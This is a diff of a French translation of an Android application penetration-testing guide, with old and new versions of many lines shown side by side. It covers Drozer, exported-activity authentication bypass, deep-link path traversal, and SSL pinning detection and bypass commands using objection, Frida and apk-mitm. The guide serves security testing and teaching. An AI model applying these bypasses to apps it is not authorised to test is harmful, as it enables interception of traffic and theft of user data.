The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnerabilities** en **scannant** le **code** de l'application. Cet outil contient une série de **known sources** (qui indiquent à l'outil les **endroits** où l'**input** est **contrôlé par l'utilisateur**), **sinks** (qui indiquent à l'outil les **endroits** **dangereux** où un input malveillant pourrait causer des dommages) et des **rules**. Ces rules indiquent la **combinaison** de **sources-sinks** qui signale une vulnérabilité.
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
Avec ces informations, **mariana-trench analysera le code et trouvera d'éventuelles vulnérabilités**.
### Secrets leaked
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Une application peut contenir des secrets (API keys, passwords, hidden urls, subdomains...) en son sein que vous pourriez découvrir. Vous pouvez utiliser un outil tel que [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
### Contourner l'authentification biométrique
{{#ref}}
bypass-biometric-authentication-android.md
{{#endref}}
### Other interesting functions
### Autres fonctions intéressantes
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- **Native functions** déclarées comme `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **Other tricks**
### **Autres astuces**
{{#ref}}
@ -236,23 +236,23 @@ content-protocol.md
## Analyse dynamique
> Tout d'abord, vous avez besoin d'un environnement où vous pouvez installer l'application et tout l'environnement (Burp CA cert, Drozer and Frida mainly). Par conséquent, un appareil rooté (émulé ou non) est fortement recommandé.
> Tout d'abord, vous avez besoin d'un environnement où vous pouvez installer l'application et tout l'environnement (certificat Burp CA, Drozer et Frida principalement). Par conséquent, un appareil rooted (émulé ou non) est fortement recommandé.
### Analyse dynamique en ligne
Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme permet d'**uploader** et d'**exécuter** des APKs, donc elle est utile pour voir le comportement d'un apk.
Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme permet de **uploader** et **exécuter** des APKs, elle est donc utile pour voir comment un APK se comporte.
Vous pouvez même **voir les logs de votre application** sur le web et vous connecter via **adb**.
![](<../../images/image (831).png>)
Grâce à la connexion ADB vous pouvez utiliser **Drozer** et **Frida** à l'intérieur des émulateurs.
Grâce à la connexion ADB vous pouvez utiliser **Drozer** et **Frida** à l'intérieur des emulators.
### Analyse dynamique locale
#### Utiliser un émulateur
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des devices **x86** et **arm**, et d'après [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des devices **x86** et **arm**, et selon [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**les dernières versions x86** prennent en charge les **ARM libraries** sans avoir besoin d'un emulator ARM lent).
- Apprenez à le configurer sur cette page :
@ -260,19 +260,19 @@ Grâce à la connexion ADB vous pouvez utiliser **Drozer** et **Frida** à l'int
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Personal Edition, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC**_ _**VirtualBox** pour éviter des erreurs potentielles._)
- [**Nox**](https://es.bignox.com) (Gratuit, mais il ne supporte pas Frida ou Drozer).
> [!TIP]
> Lors de la création d'un nouvel émulateur sur n'importe quelle plateforme, souvenez-vous que plus l'écran est grand, plus l'émulateur sera lent. Donc, sélectionnez des écrans petits si possible.
> Lors de la création d'un nouvel emulator sur n'importe quelle plateforme, souvenez-vous que plus l'écran est grand, plus l'emulator sera lent. Préférez donc des écrans petits si possible.
Pour **installer google services** (comme AppStore) dans Genymotion, vous devez cliquer sur le bouton marqué en rouge de l'image suivante :
Pour **installer google services** (comme AppStore) dans Genymotion vous devez cliquer sur le bouton marqué en rouge de l'image suivante :
![](<../../images/image (277).png>)
De plus, notez que dans la **configuration de la VM Android dans Genymotion** vous pouvez sélectionner le **Bridge Network mode** (cela sera utile si vous vous connectez à la VM Android depuis une VM différente avec les outils).
Aussi, notez que dans la **configuration de la Android VM dans Genymotion** vous pouvez sélectionner le **Bridge Network mode** (cela sera utile si vous vous connectez à la Android VM depuis une autre VM contenant les outils).
#### Utiliser un appareil physique
#### Utilisation d'un appareil physique
Vous devez activer les options de **debugging** et il est préférable de pouvoir le **rooter** :
@ -282,59 +282,59 @@ Vous devez activer les options de **debugging** et il est préférable de pouvoi
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer, d'investiguer ce qu'elle fait, comment elle fonctionne et de vous familiariser avec elle.\
> Je suggère d'**effectuer cette analyse dynamique initiale en utilisant MobSF dynamic analysis + pidcat**, ainsi nous pourrons **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez consulter ultérieurement.
> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer et d'étudier ce qu'elle fait, comment elle fonctionne et vous familiariser avec elle.\
> Je suggère d'**effectuer cette analyse dynamique initiale en utilisant MobSF dynamic analysis + pidcat**, ainsi nous pourrons **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez revoir plus tard.
### Fuite de données non intentionnelle
### Fuites de données non intentionnelles
**Logging**
Les développeurs doivent être prudents quant à l'exposition d'informations de **debugging** publiquement, car cela peut entraîner des leaks de données sensibles. Les outils [**pidcat**](https://github.com/JakeWharton/pidcat) et `adb logcat` sont recommandés pour surveiller les logs des applications afin d'identifier et de protéger les informations sensibles. **Pidcat** est privilégié pour sa facilité d'utilisation et sa lisibilité.
Les développeurs doivent se méfier d'exposer des **debugging information** publiquement, car cela peut conduire à des données sensibles leaks. Les outils [**pidcat**](https://github.com/JakeWharton/pidcat) et `adb logcat` sont recommandés pour surveiller les logs de l'application afin d'identifier et protéger les informations sensibles. **Pidcat** est préféré pour sa simplicité et sa lisibilité.
> [!WARNING]
> Notez que depuis **later newer than Android 4.0**, **les applications ne peuvent accéder qu'à leurs propres logs**. Ainsi, les applications ne peuvent pas accéder aux logs d'autres apps.\
> Notez que depuis **les versions plus récentes qu'Android 4.0**, **les applications ne peuvent accéder qu'à leurs propres logs**. Ainsi, les applications ne peuvent pas accéder aux logs des autres apps.\
> Quoi qu'il en soit, il est toujours recommandé de **ne pas logger d'informations sensibles**.
**Mise en cache du presse-papiers (Copy/Paste Buffer Caching)**
**Copy/Paste Buffer Caching**
Le framework **clipboard-based** d'Android permet la fonctionnalité de copier-coller dans les apps, mais présente un risque car **d'autres applications** peuvent **accéder** au presse-papiers, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copy/paste** pour les sections sensibles d'une application, comme les détails de carte de crédit, afin de prévenir les leaks de données.
Le framework **clipboard-based** d'Android permet la fonctionnalité copier-coller dans les apps, mais présente un risque car **d'autres applications** peuvent **accéder** au clipboard, exposant potentiellement des données sensibles. Il est crucial de **désactiver copy/paste** pour les sections sensibles d'une application, comme les informations de carte bancaire, afin d'empêcher des data leaks.
**Crash Logs**
Si une application **crashe** et **sauvegarde des logs**, ces logs peuvent aider des attaquants, particulièrement lorsque l'application ne peut pas être reverse-engineered. Pour atténuer ce risque, évitez de logger lors des crashs, et si des logs doivent être transmis sur le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité.
Si une application **crashe** et **sauvegarde des logs**, ces logs peuvent aider des attaquants, particulièrement lorsque l'application ne peut pas être reverse-engineered. Pour atténuer ce risque, évitez de logger lors des crashes, et si les logs doivent être transmis sur le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité.
En tant que pentester, **essayez de jeter un œil à ces logs**.
En tant que pentester, **essayez de jeter un coup d'œil à ces logs**.
**Analytics Data Sent To 3rd Parties**
Les applications intègrent souvent des services comme Google Adsense, qui peuvent involontairement **leak sensitive data** à cause d'une mauvaise implémentation par les développeurs. Pour identifier de potentielles fuites de données, il est conseillé d'**intercepter le trafic de l'application** et de vérifier si des informations sensibles sont envoyées à des services tiers.
Les applications intègrent souvent des services comme Google Adsense, qui peuvent involontairement leak des données sensibles en raison d'une implémentation incorrecte par les développeurs. Pour identifier d'éventuels data leaks, il est conseillé d'intercepter le trafic de l'application et de vérifier si des informations sensibles sont envoyées à des services tiers.
### SQLite DBs
La plupart des applications utilisent des **bases de données SQLite internes** pour sauvegarder des informations. Pendant le pentest, jetez un **œil** aux **databases** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** sauvegardées car vous pourriez trouver des informations sensibles (ce qui constituerait une vulnérabilité).\
Les bases de données devraient se trouver dans `/data/data/the.package.name/databases` comme `/data/data/com.mwr.example.sieve/databases`
La plupart des applications utilisent des bases de données SQLite internes pour sauvegarder des informations. Pendant le pentest, jetez un coup d'œil aux databases créées, aux noms des tables et des colonnes et à toutes les données sauvegardées car vous pourriez trouver des informations sensibles (ce qui constituerait une vulnérabilité).\
Les databases devraient se trouver dans /data/data/the.package.name/databases comme /data/data/com.mwr.example.sieve/databases
Si la base de données enregistre des informations confidentielles et est **encrypted** mais que vous pouvez **trouver** le **password** à l'intérieur de l'application, c'est toujours une **vulnerability**.
Si la database sauvegarde des informations confidentielles et est **encryptée** mais que vous pouvez **trouver** le **mot de passe** à l'intérieur de l'application, c'est toujours une **vulnérabilité**.
Énumérez les tables avec `.tables` et énumérez les colonnes des tables avec `.schema <table_name>`
Énumérez les tables en utilisant `.tables` et énumérez les colonnes des tables en faisant `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
D'après les [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf) : **Drozer** permet d'assumer le rôle d'une application Android et d'interagir avec d'autres apps. Il peut faire tout ce qu'une application installée peut faire, comme utiliser le mécanisme Inter-Process Communication (IPC) d'Android et interagir avec le système d'exploitation sous-jacent.\
Drozer est un outil utile pour **exploiter les exported activities, exported services et Content Providers** comme vous l'apprendrez dans les sections suivantes.
### Exploiting exported Activities
### Exploitation des exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Also remember that the code of an activity starts in the **`onCreate`** method.
Souvenez-vous aussi que le code d'une activity commence dans la méthode **`onCreate`**.
**Authorisation bypass**
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
Quand une Activity est exported vous pouvez invoquer son écran depuis une app externe. Donc, si une activity contenant des **sensitive information** est **exported** vous pourriez **bypass** les mécanismes d'**authentication** pour y accéder.
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
[**Apprenez comment exploiter les exported activities avec Drozer.**](drozer-tutorial/index.html#activities)
You can also start an exported activity from adb:
Vous pouvez aussi démarrer une activity exportée depuis adb :
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
@ -346,45 +346,45 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
> [!TIP]
> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed.
**Fuite d'informations sensibles**
**Sensitive information leakage**
Les Activities peuvent aussi renvoyer des résultats. Si vous parvenez à trouver une activity exportée et non protégée appelant la méthode **`setResult`** et **retournant des informations sensibles**, il y a une fuite d'informations sensibles.
**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage.
#### Tapjacking
Si tapjacking n'est pas empêché, vous pourriez abuser de l'activity exportée pour faire **effectuer à l'utilisateur des actions inattendues**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
If tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers sont essentiellement utilisés pour **partager des données**. Si une application possède des content providers disponibles, vous pourriez être capable d'**extraire des données sensibles** depuis ceux-ci. Il est également intéressant de tester d'éventuelles **SQL injections** et **Path Traversals** car elles pourraient être vulnérables.
Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Souvenez-vous que les actions d'un Service commencent dans la méthode `onStartCommand`.
Remember that a the actions of a Service start in the method `onStartCommand`.
Un service est essentiellement quelque chose qui **peut recevoir des données**, **les traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte des services vous devez **vérifier** le **code** pour comprendre ce qu'il fait et **tester** celui-ci **dynamiquement** pour extraire des infos confidentielles, bypass des mesures d'authentification...\
As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Souvenez-vous que les actions d'un Broadcast Receiver commencent dans la méthode `onReceive`.
Remember that a the actions of a Broadcast Receiver start in the method `onReceive`.
Un broadcast receiver attendra un type de message. Selon la façon dont le receiver traite le message, il pourrait être vulnérable.\
A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Vous pouvez rechercher des deep links manuellement, en utilisant des outils comme MobSF ou des scripts comme [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Vous pouvez **ouvrir** un **scheme** déclaré en utilisant **adb** ou un **browser**:
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
You can **open** a declared **scheme** using **adb** or a **browser**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Notez que vous pouvez **omettre le nom du package** et le mobile ouvrira automatiquement l'application appropriée pour ce lien._
_Notez que vous pouvez **omettre le nom du package** et que l'appareil mobile lancera automatiquement l'application qui doit ouvrir ce lien._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -393,56 +393,56 @@ _Notez que vous pouvez **omettre le nom du package** et le mobile ouvrira automa
```
**Code exécuté**
Pour trouver le **code qui sera exécuté dans l'App**, allez à l'activité appelée par le deeplink et cherchez la fonction **`onNewIntent`**.
Pour trouver le **code qui sera exécuté dans l'application**, allez dans l'activité appelée par le deeplink et recherchez la fonction **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Infos sensibles**
**Informations sensibles**
Chaque fois que vous trouvez un deep link, vérifiez qu'**il ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL**, car toute autre application pourrait **se faire passer pour le deep link et voler ces données !**
Chaque fois que vous trouvez un deep link, vérifiez que **il ne reçoit pas de données sensibles (comme des mots de passe) via les paramètres d'URL**, car toute autre application pourrait **usurper le deep link et voler ces données !**
**Paramètres dans le chemin**
Vous **devez aussi vérifier si un deep link utilise un paramètre à l'intérieur du chemin** de l'URL comme: `https://api.example.com/v1/users/{username}` , dans ce cas vous pouvez forcer un path traversal en accédant à quelque chose comme: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.
Notez que si vous trouvez les endpoints corrects dans l'application vous pourriez provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), un **account takeover** (si vous pouvez modifier les détails des utilisateurs sans CSRF token et que l'endpoint vuln utilisait la méthode adéquate) et toute autre vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
Vous **devez également vérifier si un deep link utilise un paramètre à l'intérieur du chemin** de l'URL comme : `https://api.example.com/v1/users/{username}` , dans ce cas vous pouvez forcer un path traversal en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Notez que si vous trouvez les endpoints corrects dans l'application, vous pourriez provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), un **account takeover** (si vous pouvez modifier les détails des utilisateurs sans token CSRF et que l'endpoint vulnérable utilisait la méthode appropriée) et toute autre vulnérabilité. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**Plus d'exemples**
**More examples**
Un [interesting bug bounty report](https://hackerone.com/reports/855618) intéressant sur les liens (_/.well-known/assetlinks.json_).
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### Inspection de la couche transport et échecs de vérification
- **Certificates are not always inspected properly** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent des certificats self-signed ou, dans certains cas, repassent à des connexions HTTP.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, utilisant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques man-in-the-middle (MITM), permettant aux attaquants de décrypter les données.
- **Leakage of private information** est un risque lorsque les applications s'authentifient via des canaux sécurisés mais communiquent ensuite sur des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les session cookies ou les détails utilisateur, contre l'interception par des entités malveillantes.
- **Les certificats ne sont pas toujours correctement vérifiés** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent des certificats auto-signés ou, dans certains cas, reviennent à des connexions HTTP.
- **Les négociations lors du handshake SSL/TLS sont parfois faibles**, utilisant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible à des attaques man-in-the-middle (MITM), permettant aux attaquants de déchiffrer les données.
- **Fuite d'informations privées** est un risque lorsque les applications authentifient via des canaux sécurisés mais communiquent ensuite via des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les cookies de session ou les informations utilisateur, contre l'interception par des acteurs malveillants.
#### Vérification des certificats
Nous allons nous concentrer sur la **certificate verification**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. Ceci est crucial car des configurations TLS insecure et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques importants. Pour des étapes détaillées sur la vérification des certificats serveur et la remédiation des vulnérabilités, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
Nous nous concentrerons sur **certificate verification**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. C'est crucial car des configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent présenter des risques importants. Pour des étapes détaillées sur la vérification des certificats serveur et la correction des vulnérabilités, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
#### SSL Pinning
SSL Pinning est une mesure de sécurité où l'application vérifie le certificat du serveur contre une copie connue stockée dans l'application elle-même. Cette méthode est essentielle pour prévenir les attaques MITM. La mise en œuvre de SSL Pinning est fortement recommandée pour les applications traitant des informations sensibles.
SSL Pinning est une mesure de sécurité où l'application vérifie le certificat du serveur par rapport à une copie connue stockée dans l'application elle-même. Cette méthode est essentielle pour prévenir les attaques MITM. L'implémentation de SSL Pinning est fortement recommandée pour les applications manipulant des informations sensibles.
#### Inspection du trafic
Pour inspecter le trafic HTTP, il est nécessaire d'**installer le certificat de l'outil proxy** (par ex., Burp). Sans l'installation de ce certificat, le trafic chiffré pourrait ne pas être visible via le proxy. Pour un guide sur l'installation d'un certificat CA personnalisé, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Les applications ciblant **API Level 24 and above** nécessitent des modifications du Network Security Config pour accepter le certificat CA du proxy. Cette étape est cruciale pour inspecter le trafic chiffré. Pour des instructions sur la modification du Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Les applications ciblant **API Level 24 and above** nécessitent des modifications du Network Security Config pour accepter le certificat CA du proxy. Cette étape est critique pour inspecter le trafic chiffré. Pour des instructions sur la modification du Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Si **Flutter** est utilisé, vous devez suivre les instructions sur [**this page**](flutter.md). En effet, ajouter simplement le certificat dans le store ne fonctionnera pas, car Flutter utilise sa propre liste de CAs valides.
Si **Flutter** est utilisé, vous devez suivre les instructions sur [**this page**](flutter.md). Ceci est dû au fait que l'ajout du certificat dans le store ne fonctionnera pas, car Flutter a sa propre liste de CA valides.
#### Détection statique du SSL/TLS pinning
Avant d’essayer des contournements runtime, cartographiez rapidement où le pinning est appliqué dans l'APK. La découverte statique vous aide à planifier des hooks/patches et à vous concentrer sur les bons chemins de code.
Avant de tenter des contournements à l'exécution, cartographiez rapidement où le pinning est appliqué dans l'APK. La découverte statique vous aide à planifier les hooks/patches et à vous concentrer sur les bons code paths.
Outil : SSLPinDetect
- Outil open-source d'analyse statique qui décompile l'APK en Smali (via apktool) et scanne des patterns regex sélectionnés d'implémentations de SSL/TLS pinning.
- Signale le chemin de fichier exact, le numéro de ligne et un extrait de code pour chaque correspondance.
- Couvre les frameworks courants et les chemins de code personnalisés : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
Tool: SSLPinDetect
- Utilitaire open-source d'analyse statique qui décompile l'APK en Smali (via apktool) et scanne des patterns regex sélectionnés d'implémentations de SSL/TLS pinning.
- Rapporte le chemin de fichier exact, le numéro de ligne et un extrait de code pour chaque correspondance.
- Couvre les frameworks courants et les code paths personnalisés : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, et Network Security Config XML pins.
Installation
- Pré-requis : Python >= 3.8, Java on PATH, apktool
- Prérequis : Python >= 3.8, Java dans le PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
cd SSLPinDetect
@ -456,8 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Exemples de règles de pattern (JSON)
Utilisez ou étendez des signatures pour détecter des styles de pinning propriétaires/personnalisés. Vous pouvez charger votre propre JSON et analyser à grande échelle.
Exemple de règles de motifs (JSON)
Utilisez ou étendez les signatures pour détecter des styles de pinning propriétaires/personnalisés. Vous pouvez charger votre propre JSON et scanner à grande échelle.
```json
{
"OkHttp Certificate Pinning": [
@ -471,55 +471,55 @@ Utilisez ou étendez des signatures pour détecter des styles de pinning propri
]
}
```
Notes et conseils
- Scan rapide des grandes apps via multi-threading et I/O mappée en mémoire ; les regex précompilées réduisent l'overhead / les faux positifs.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
Notes et astuces
- Analyse rapide des grosses apps via multi-threading et memory-mapped I/O ; des regex pré-compilées réduisent l'overhead/les faux positifs.
- Collection de patterns: https://github.com/aancw/smali-sslpin-patterns
- Cibles typiques à trier ensuite :
- OkHttp: usage de CertificatePinner, setCertificatePinner, références de package okhttp3/okhttp
- TrustManagers personnalisés: javax.net.ssl.X509TrustManager, overrides de checkServerTrusted
- Contexts SSL personnalisés: SSLContext.getInstance + SSLContext.init avec des managers personnalisés
- Pins déclaratifs dans res/xml network security config et références dans le manifest
- Utilisez les emplacements trouvés pour planifier des hooks Frida, des patchs statiques ou des revues de config avant les tests dynamiques.
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- Utilisez les emplacements trouvés pour planifier des Frida hooks, des patchs statiques, ou des revues de config avant les tests dynamiques.
#### Contournement de SSL Pinning
#### Contourner SSL Pinning
Quand SSL Pinning est implémenté, le contourner devient nécessaire pour inspecter le trafic HTTPS. Plusieurs méthodes existent pour cela :
Quand SSL Pinning est implémenté, le contourner devient nécessaire pour inspecter le trafic HTTPS. Différentes méthodes sont disponibles pour cela :
- Modifier automatiquement l'**apk** pour **bypasser** SSLPinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour bypasser le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et ça ne marche pas toujours.
- Vous pouvez utiliser **Frida** (discuté ci‑dessous) pour bypasser cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)** :** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant **MobSF dynamic analysis** (expliqué ci‑dessous)
- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lire ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Modifiez automatiquement l'**apk** pour **contourner** SSLPinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour contourner le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours.
- Vous pouvez utiliser **Frida** (décrit ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Vous pouvez aussi essayer de **contourner automatiquement SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Vous pouvez aussi essayer de **contourner automatiquement SSL Pinning** en utilisant **MobSF dynamic analysis** (expliqué ci-dessous)
- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Recherche de vulnérabilités Web courantes
#### Recherche de vulnérabilités web courantes
Il est important de rechercher aussi les vulnérabilités web courantes dans l'application. Les informations détaillées pour les identifier et les atténuer dépassent le cadre de ce résumé mais sont largement traitées ailleurs.
Il est important de rechercher également les vulnérabilités web courantes dans l'application. Les informations détaillées sur l'identification et l'atténuation de ces vulnérabilités dépassent le cadre de ce résumé mais sont largement couvertes ailleurs.
### Frida
[Frida](https://www.frida.re) est un toolkit d'instrumentation dynamique pour développeurs, reverse‑engineers et chercheurs en sécurité.\
**Vous pouvez accéder à l'application en cours d'exécution et hooker des méthodes à l'exécution pour changer le comportement, modifier des valeurs, extraire des valeurs, exécuter du code différent...**\
Si vous voulez pentest des applications Android vous devez savoir utiliser Frida.
[Frida](https://www.frida.re) est un toolkit d'instrumentation dynamique pour développeurs, reverse-engineers, et chercheurs en sécurité.\
**Vous pouvez accéder à l'application en cours d'exécution et hooker des méthodes au runtime pour changer le comportement, modifier des valeurs, extraire des valeurs, exécuter du code différent...**\
Si vous voulez pentester des applications Android vous devez savoir utiliser Frida.
- Apprenez à utiliser Frida : [**Frida tutorial**](frida-tutorial/index.html)
- Quelques "GUI" pour actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Objection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Vous pouvez trouver des scripts Frida intéressants ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re)
